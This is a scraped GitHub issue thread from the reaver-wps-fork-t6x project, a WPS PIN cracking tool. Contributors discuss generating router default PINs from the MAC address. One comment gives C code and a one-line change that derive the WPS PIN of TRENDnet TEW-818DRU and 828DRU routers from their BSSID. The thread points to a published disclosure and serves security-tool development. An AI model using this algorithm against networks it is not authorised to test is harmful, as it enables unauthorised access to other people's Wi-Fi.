Coder Social home page Coder Social logo

Comments (9)

kcdtv avatar kcdtv commented on July 17, 2024 1

This issue is old and maybe badly focused: too much different subjects in one thread.
It's better to close it and we'll speak about algorithms (former -W option) or crack optimization in new dedicated and more focused issues.

from reaver-wps-fork-t6x.

t6x avatar t6x commented on July 17, 2024

I found a router with this month, I will test it when I have time.
now on the option.
The to do, we just decide how you will be, the pin will be generated at the time? because of to identify the mac or Let's an option for that?
Just decide how we will do, that I start to do

from reaver-wps-fork-t6x.

t6x avatar t6x commented on July 17, 2024

To identify the Mac, notify the User about it and generate the pin and already test

Is it the best way?

from reaver-wps-fork-t6x.

DarkJester avatar DarkJester commented on July 17, 2024

t6x, "To identify the Mac, notify the User about it and generate the pin and already test" is the best way i think

from reaver-wps-fork-t6x.

kcdtv avatar kcdtv commented on July 17, 2024

I am on the save wave
I think also that is the best way;
Even it that the way that requires more work, as a little "data base" as to be coded and maintained for this bssid distinction to be efficient.
But it would be the "smartest"/"!more efficient way" with in some case really nice results

I would be very happy to help you to setup it up; and to help you to create and maintain this database for a smart approach in the election of the PIN to be send first.
I will propose you a detailed "project" and approach with full explanation if you think this idea is relevant and could be interesting for the project.

Thank you for taking the time to read and answer and thank you for what would be known as "reaver 2.0 "
I am sure about it ;)
cheers

from reaver-wps-fork-t6x.

0x2b3bfa0 avatar 0x2b3bfa0 commented on July 17, 2024

@kcdtv: Good idea! Can I help? I'm cs122 from Lampiweb

from reaver-wps-fork-t6x.

kcdtv avatar kcdtv commented on July 17, 2024

Hi guys!
I published some time ago another algorithm for TRENDnet ac1900 and ac3200.
https://packetstormsecurity.com/files/132477/TRENDnet-TEW-818RDU-PIN-Disclosure.html
i wanted to learn C to program it buy i decided to learn python so i didn't do it.
it is very simple and similar to the one exposed in first post of this thread.
if your mac adress looks like this 00:00:00:11:22:33 you take out the first half and you will have to invert the fourth and last pair of digits
so you get 33:22:11
You convert to decimal, add the checksum and you have the PIN
if i see the code of kiborg and t_6x

 //Zhaochunsheng algorithm/
-//mac to decimal by kib0rg
 int pingen_zhaochunsheng(char *mac, int add)
 {
     int default_pin=0, pin=0, i=0, pin_len = 9;
@@ -599,3 +598,18 @@ int pingen_zhaochunsheng(char *mac, int add)

     return pin;
 }

//mac to decimal by kib0rg
int pingen_zyxel(char *mac, int add)
{
    //pingen make by kib0rg, a little change by t6x
    int pin;

    char mac_address[7] = {0};

    sprintf(mac_address, "%c%c%c%c%c%c", mac[6], mac[7], mac[8], mac[9], mac[10], mac[11]);

    pin = (hexToInt(mac_address) + add) % 10000000;

    return (pin * 10) + wps_pin_checksum(pin);
}

it would be basically writing the line "printf" like this :

sprintf(mac_address, "%c%c%c%c%c%c", mac[10], mac[11], mac[8], mac[9], mac[6], mac[7]);

The algorithm is used by 2 devices : TRENDnet TEW-818DRU (ac1900) and 828DRU (ac3200)
For sure, feel free to use it if you want too 😸
A little question : why did you call the first algorithm "zyxell?"
Zao discovered it on a "Tenda" routers, the original code was caled "computPIN" and the manufacturer that used it most would be Huawei in all it commercial cheap boxes

cheers

from reaver-wps-fork-t6x.

0x2b3bfa0 avatar 0x2b3bfa0 commented on July 17, 2024

@kcdtv: Great! Really the vendors are turning less and less imaginative. ;-)

from reaver-wps-fork-t6x.

kcdtv avatar kcdtv commented on July 17, 2024

😄
It was hard to believe when i realized that they just inverted the first and last bytes of the second part of the 2.4 Ghz bSSID.
But yeah... they did it! And they did it twice... for their latest routers that coast around 200$...
Very cheap default security parameters : PIN enabled, unique for 5Ghz and 2.4Ghz network, it cannot be changed and so easy to generate.

from reaver-wps-fork-t6x.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.